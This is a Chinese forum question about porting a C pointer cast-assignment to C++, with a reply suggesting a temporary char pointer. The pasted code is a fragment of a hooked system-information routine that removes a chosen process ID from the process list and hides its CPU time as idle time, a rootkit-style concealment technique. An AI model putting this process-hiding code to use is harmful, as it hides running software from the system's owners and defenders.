C++语法这句C代码在((char *)curr += curr->NextEntryDelta);C++中怎么改
((char *)curr += curr->NextEntryDelta);
上面的代码是在C中通过编译并正常使用的,在C++中出错:左操作数必须为左值
(curr += curr->NextEntryDelta);
去掉(char*)可以通过编译,但是运行会出错,我昨天发过帖子 *(char**)用这个命令也出错,
if( NT_SUCCESS(ntStatus))
{
if(SystemInformationClass == 5)
{
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
if (curr->ProcessId != 0 && pid != 0)
{
if(curr->ProcessId == pid)
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev)
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
(char *)SystemInformation += curr->NextEntryDelta;//还有这句
}
else
SystemInformation = NULL;
}
}
}
else
{
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);//这句代码
else curr = NULL;
}
}
else if (SystemInformationClass == 8)
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
[解决办法]
用个临时指针+,然后在强转回来
char *pTemp = (char *)curr;
pTemp+=curr->NextEntryDelta;
curr = (struct _SYSTEM_PROCESSES *)pTemp;
[解决办法]